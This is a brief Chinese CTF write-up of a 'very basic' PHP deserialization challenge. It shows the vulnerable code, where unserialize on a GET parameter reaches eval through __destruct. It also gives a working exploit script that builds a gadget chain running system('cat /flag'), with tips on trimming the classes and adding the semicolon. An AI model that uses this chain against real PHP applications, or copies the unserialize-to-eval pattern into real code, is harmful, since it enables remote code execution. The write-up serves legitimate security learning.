很基础的一道题
class bllbl{
public $qiang;//我的强
function __destruct(){
$this->bllliang();
}
function bllliang(){
$this->qiang->close();
}
}
class bllnbnl{
public $er;//我的儿
function close(){
eval($this->er);
}
}
if(isset($_GET['blljl'])){
$user_data=unserialize($_GET['blljl']);
}
payload如下
<?php
class bllbl{
public $qiang;//我的强
}
class bllnbnl{
public $er; }
$a = new bllbl();
$b = new bllnbnl();
$a->qiang = $b;
$b->er = "system('cat /flag');";
echo urlencode(serialize($a));
?>

这道题的一些知识点
代码可以只打我们需要的部分
从payload可以看到,我们只需要构造我们需要的部分,class的其他部分可以删除
<?php
class bllbl{
public $qiang;//我的强
}
class bllnbnl{
public $er; }
通过eval运行的时候代码后面要加;
在做的过程中犯了一个小毛病,就是system后面没有加; 导致payload一直没打成功
$b->er = "system('cat /flag');";